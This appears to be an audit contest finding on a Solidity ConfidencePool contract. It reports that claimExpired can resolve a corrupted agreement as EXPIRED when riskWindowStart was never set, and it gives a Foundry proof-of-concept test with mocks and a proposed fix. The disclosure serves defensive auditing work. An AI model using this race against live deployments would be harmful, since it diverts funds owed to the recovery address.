FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: high

claimExpired silently resolves a genuinely CORRUPTED agreement as EXPIRED if the risk window was never observed on-chain

Author Revealed upon completion

claimExpired gates the auto-CORRUPTED backstop on a lazily-set flag that can legitimately remain zero so a genuinely CORRUPTED agreement can be permanently mis-resolved as EXPIRED, paying stakers in full and denying recoveryAddress its entitled sweep

Description


  • The auto-CORRUPTED backstop is gated on riskWindowStart != 0, but riskWindowStart is only ever set lazily, inside _observePoolState(), and only when some pool function (stake, contributeBonus, withdraw, flagOutcome, setPoolScope, or the permissionless pokeRiskWindow) happens to be called while the registry is currently UNDER_ATTACK or PROMOTION_REQUESTED.

    Nothing guarantees that happens. If the registry transitions straight through (or very quickly through) the active-risk states into CORRUPTED without anyone interacting with the pool in that window — plausible for a low-traffic pool, or if the registry's UNDER_ATTACK→CORRUPTED transition is fast/atomic — then riskWindowStart stays 0 forever, even though the agreement really was attacked and really is CORRUPTED.

  • So claimExpired() auto-resolves an unresolved pool once block.timestamp >= expiry

if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
...
claimsStarted = true;
return;
}
if (state == IAttackRegistry.ContractState.PRODUCTION) {
outcome = PoolStates.Outcome.SURVIVED;
...
} else {
@> outcome = PoolStates.Outcome.EXPIRED; // <-- reached whenever the CORRUPTED branch above is skipped
...
}
claimsStarted = true;

Risk

Likelihood:

  • Medium–High. Requires only that no pool entrypoint happened to be called while the registry was in an active-risk state — plausible for a quiet pool, and directly achievable by an attacker who wants to avoid the CORRUPTED sweep, since claimExpired is unauthenticated

Impact:

  • High. Directly redirects the entire pool's principal + bonus away from recoveryAddress to stakers-at-large, in a case the protocol explicitly designed the CORRUPTED path to handle, and the outcome is unrecoverable once claimsStarted latches.

Proof of Concept

The following PoC in Foundry shows the mentioned vulnerability.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
// ... plus mocks for IBattleChainSafeHarborRegistry / IAgreement / ERC20, wired so
// getAgreementState() can be driven directly for the test.
contract ClaimExpiredMisresolutionTest is Test {
ConfidencePool pool;
MockRegistry registry; // exposes setState(IAttackRegistry.ContractState)
MockToken token;
address staker = address(0xBEEF);
address recovery = address(0xCAFE);
function setUp() public {
// ... deploy + initialize pool with expiry = block.timestamp + 30 days,
// recoveryAddress = recovery, registry pointed at `registry`.
registry.setState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
token.mint(staker, 100 ether);
vm.startPrank(staker);
token.approve(address(pool), 100 ether);
pool.stake(100 ether); // riskWindowStart is still 0 here
vm.stopPrank();
}
/// @notice Demonstrates the registry going straight to CORRUPTED with NO intervening
/// pool interaction during the active-risk states, so riskWindowStart never gets set.
function test_corruptedAgreement_misresolvesAsExpired() public {
// Registry jumps straight to CORRUPTED. No stake/withdraw/pokeRiskWindow call
// happened while it was UNDER_ATTACK / PROMOTION_REQUESTED, so:
assertEq(pool.riskWindowStart(), 0);
registry.setState(IAttackRegistry.ContractState.CORRUPTED);
// Warp past expiry.
vm.warp(block.timestamp + 31 days);
// Attacker (or anyone) races to call claimExpired before the moderator acts,
// and before MODERATOR_CORRUPTED_GRACE would even matter, since the gate is
// skipped entirely.
pool.claimExpired();
// Bug: outcome is EXPIRED, not CORRUPTED, despite registry.state == CORRUPTED.
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
// Bug: claimsStarted is now true, so the moderator can never fix this.
assertTrue(pool.claimsStarted());
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
// Staker fully recovers funds that should have been swept to `recovery`.
vm.prank(staker);
pool.claimExpired();
assertEq(token.balanceOf(staker), 100 ether);
assertEq(token.balanceOf(recovery), 0);
}
}

Recommended Mitigation

Decouple the CORRUPTED branch's entry condition from riskWindowStart. The bonus math (_bonusShare) is never invoked on the CORRUPTED path — claimExpired's CORRUPTED branch only flips state and lets claimCorrupted sweep the balance — so there is no bonus-accounting reason to require riskWindowStart != 0

if (state == IAttackRegistry.ContractState.CORRUPTED) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd; // may be 0; fine, unused by the CORRUPTED payout path
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!